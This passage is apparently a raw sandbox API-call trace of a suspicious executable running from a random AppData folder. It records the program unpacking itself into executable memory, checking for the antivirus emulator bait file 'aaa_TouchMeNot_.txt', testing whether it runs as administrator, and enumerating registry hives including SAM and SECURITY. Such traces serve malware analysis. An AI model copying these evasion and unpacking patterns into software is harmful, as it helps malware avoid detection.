dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.842] GetFocus () returned 0x0 [0246.842] GetAsyncKeyState (vKey=58) returned 0 [0246.842] GetKBCodePage () returned 0x1b5 [0246.842] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.842] GetFocus () returned 0x0 [0246.842] GetAsyncKeyState (vKey=58) returned 0 [0246.842] GetKBCodePage () returned 0x1b5 [0246.842] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.842] GetFocus () returned 0x0 [0246.842] GetAsyncKeyState (vKey=58) returned 0 [0246.842] GetKBCodePage () returned 0x1b5 [0246.842] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.842] GetFocus () returned 0x0 [0246.842] GetAsyncKeyState (vKey=58) returned 0 [0246.843] GetKBCodePage () returned 0x1b5 [0246.843] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.843] GetFocus () returned 0x0 [0246.843] GetAsyncKeyState (vKey=58) returned 0 [0246.843] GetKBCodePage () returned 0x1b5 [0246.843] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.843] GetFocus () returned 0x0 [0246.843] GetAsyncKeyState (vKey=58) returned 0 [0246.843] GetKBCodePage () returned 0x1b5 [0246.843] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.843] GetFocus () returned 0x0 [0246.843] VarCyFromUI4 (in: ulIn=0xccaf3cc, pcyOut=0x18fef0 | out: pcyOut=0x18fef0) returned 0x0 [0246.843] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fa3c, nSize=0x104 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMIQ~1.EXE" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\bo7tpuln\\3ocmiq~1.exe")) returned 0x37 [0246.843] Sleep (dwMilliseconds=0x94) [0246.994] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18f9b0 | out: ProcedureAddress=0x18f9b0*=0x769d1856) returned 0x0 [0246.995] VirtualAlloc (lpAddress=0x0, dwSize=0x16100, flAllocationType=0x1000, flProtect=0x4) returned 0x230000 [0246.998] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fa50 | out: ProcedureAddress=0x18fa50*=0x769d1856) returned 0x0 [0246.998] VirtualAlloc (lpAddress=0x0, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x40) returned 0x250000 [0246.999] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d49d7) returned 0x0 [0246.999] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d1222) returned 0x0 [0246.999] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d1856) returned 0x0 [0246.999] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d435f) returned 0x0 [0246.999] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x769c0000 [0246.999] GetProcAddress (hModule=0x769c0000, lpProcName="FlsFree") returned 0x769d359f [0247.000] GetProcAddress (hModule=0x769c0000, lpProcName="SetUnhandledExceptionFilter") returned 0x769d87c9 [0247.000] VirtualProtect (in: lpAddress=0x400000, dwSize=0x29000, flNewProtect=0x40, lpflOldProtect=0x18fae0 | out: lpflOldProtect=0x18fae0*=0x2) returned 1 [0247.001] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x260000 [0247.003] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x769c0000 [0247.003] GetProcAddress (hModule=0x769c0000, lpProcName="CreateFileW") returned 0x769d3f5c [0247.003] GetProcAddress (hModule=0x769c0000, lpProcName="ExitProcess") returned 0x769d7a10 [0247.003] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 [0247.524] CreateFileW (lpFileName="C:\\aaa_TouchMeNot_.txt" (normalized: "c:\\aaa_touchmenot_.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.533] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x1db0000 [0247.540] RtlAllocateHeap (HeapHandle=0x1db0000, Flags=0x8, Size=0x104) returned 0x1db07d0 [0247.541] RtlAllocateHeap (HeapHandle=0x1db0000, Flags=0x8, Size=0x80) returned 0x1db08e0 [0247.541] RtlAllocateHeap (HeapHandle=0x1db0000, Flags=0x8, Size=0x80) returned 0x1db0968 [0247.541] RtlAllocateHeap (HeapHandle=0x1db0000, Flags=0x8, Size=0x80) returned 0x1db09f0 [0247.541] RtlAllocateHeap (HeapHandle=0x1db0000, Flags=0x8, Size=0x80) returned 0x1db0a78 [0247.541] RtlAllocateHeap (HeapHandle=0x1db0000, Flags=0x8, Size=0x80) returned 0x1db0b00 [0247.541] RtlAllocateHeap (HeapHandle=0x1db0000, Flags=0x8, Size=0x80) returned 0x1db0b88 [0247.541] RtlAllocateHeap (HeapHandle=0x1db0000, Flags=0x8, Size=0x80) returned 0x1db0c10 [0247.541] RtlAllocateHeap (HeapHandle=0x1db0000, Flags=0x8, Size=0x80) returned 0x1db0c98 [0247.541] RtlAllocateHeap (HeapHandle=0x1db0000, Flags=0x8, Size=0x80) returned 0x1db0d20 [0247.541] RtlAllocateHeap (HeapHandle=0x1db0000, Flags=0x8, Size=0x80) returned 0x1db0da8 [0247.541] RtlAllocateHeap (HeapHandle=0x1db0000, Flags=0x8, Size=0x80) returned 0x1db0e30 [0247.541] RtlAllocateHeap (HeapHandle=0x1db0000, Flags=0x8, Size=0x80) returned 0x1db0eb8 [0247.541] RtlAllocateHeap (HeapHandle=0x1db0000, Flags=0x8, Size=0x80) returned 0x1db0f40 [0247.541] RtlAllocateHeap (HeapHandle=0x1db0000, Flags=0x8, Size=0x80) returned 0x1db0fc8 [0247.541] RtlAllocateHeap (HeapHandle=0x1db0000, Flags=0x8, Size=0x80) returned 0x1db1050 [0247.541] RtlAllocateHeap (HeapHandle=0x1db0000, Flags=0x8, Size=0x80) returned 0x1db10d8 [0247.541] RtlAllocateHeap (HeapHandle=0x1db0000, Flags=0x8, Size=0x400) returned 0x1db1160 [0247.541] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x23f0000 [0247.541] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23f07d0 [0247.541] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23f0858 [0247.541] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23f08e0 [0247.541] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x184) returned 0x23f0968 [0247.541] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23f0af8 [0247.542] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23f0b40 [0247.542] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23f0b88 [0247.542] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23f0bd0 [0247.542] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23f0c18 [0247.542] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23f0c60 [0247.542] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23f0ca8 [0247.542] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23f0cf0 [0247.542] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23f0d38 [0247.542] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23f0d80 [0247.542] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23f0dc8 [0247.542] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23f0e10 [0247.542] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23f0e58 [0247.542] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23f0ea0 [0247.542] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23f0ee8 [0247.542] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23f0f30 [0247.542] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f60c, nSize=0x1000 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMIQ~1.EXE" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\bo7tpuln\\3ocmiq~1.exe")) returned 0x37 [0247.543] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23f0f78 [0247.543] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x2c) returned 0x23fb828 [0247.549] GetVersionExW (in: lpVersionInformation=0x18fc2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x18fc2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0247.549] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18fc14 | out: Wow64Process=0x18fc14) returned 1 [0247.549] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fbf0 | out: TokenHandle=0x18fbf0*=0xc4) returned 1 [0247.549] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbec | out: TokenInformation=0x0, ReturnLength=0x18fbec) returned 0 [0247.549] GetLastError () returned 0x7a [0247.549] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x140) returned 0x23fb860 [0247.549] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x2, TokenInformation=0x23fb860, TokenInformationLength=0x118, ReturnLength=0x18fbec | out: TokenInformation=0x23fb860, ReturnLength=0x18fbec) returned 1 [0247.549] AllocateAndInitializeSid (in: pIdentifierAuthority=0x18fbfc, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18fbf4 | out: pSid=0x18fbf4*=0x624d68*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0247.550] EqualSid (pSid1=0x624d68*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x23fb8c4*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25))) returned 0 [0247.550] EqualSid (pSid1=0x624d68*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x23fb8e0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 0 [0247.550] EqualSid (pSid1=0x624d68*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x23fb8ec*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0247.550] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fb860) returned 1 [0247.550] NtClose (Handle=0xc4) returned 0x0 [0247.550] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fb860 [0247.551] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fb8a8 [0247.551] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x280) returned 0x23fb930 [0247.552] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0247.559] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x23fb930, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0247.559] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.559] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fbc58 [0247.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x23fbc58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0247.559] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fbca0 [0247.559] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbc58) returned 1 [0247.559] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbca0) returned 1 [0247.559] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.559] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x23fb930, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0247.559] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.559] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fbca0 [0247.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x23fbca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0247.560] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fbc58 [0247.560] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbca0) returned 1 [0247.560] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbc58) returned 1 [0247.560] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.560] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x23fb930, cchName=0x104 | out: lpName="SAM") returned 0x0 [0247.560] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.560] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fbc58 [0247.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x23fbc58, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0247.560] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fbca0 [0247.560] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbc58) returned 1 [0247.560] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbca0) returned 1 [0247.560] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.560] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x23fb930, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0247.560] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.560] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fbca0 [0247.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x23fbca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0247.560] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fbc58 [0247.560] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbca0) returned 1 [0247.560] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbc58) returned 1 [0247.560] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.560] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x23fb930, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0247.560] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.560] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fbc58 [0247.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x23fbc58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0247.560] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fbca0 [0247.560] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbc58) returned 1 [0247.560] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbca0) returned 1 [0247.560] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.560] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0247.561] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x184) returned 0x23fd040 [0247.561] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fbca0 [0247.561] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fbc58 [0247.561] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fbce8 [0247.561] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fbd30 [0247.561] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fbd78 [0247.561] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fbdc0 [0247.561] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fbe08 [0247.561] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fbe50 [0247.561] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fbe98 [0247.561] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fbee0 [0247.561] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fbf28 [0247.561] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fbf70 [0247.561] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fbfb8 [0247.561] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc000 [0247.561] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc048 [0247.561] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc090 [0247.561] RegCloseKey (hKey=0x80000002) returned 0x0 [0247.561] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x23fb930, cchName=0x104 | out: lpName="ATI Technologies") returned 0x0 [0247.561] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0247.561] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x23fc0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ati technologies", lpUsedDefaultChar=0x0) returned 16 [0247.561] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.561] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.561] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.561] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.561] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x23fb930, cchName=0x104 | out: lpName="CBSTEST") returned 0x0 [0247.561] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.561] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x23fc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cbstest", lpUsedDefaultChar=0x0) returned 7 [0247.561] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.561] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.561] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.562] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.562] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x23fb930, cchName=0x104 | out: lpName="Classes") returned 0x0 [0247.562] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.562] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x23fc0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0247.562] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.562] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) 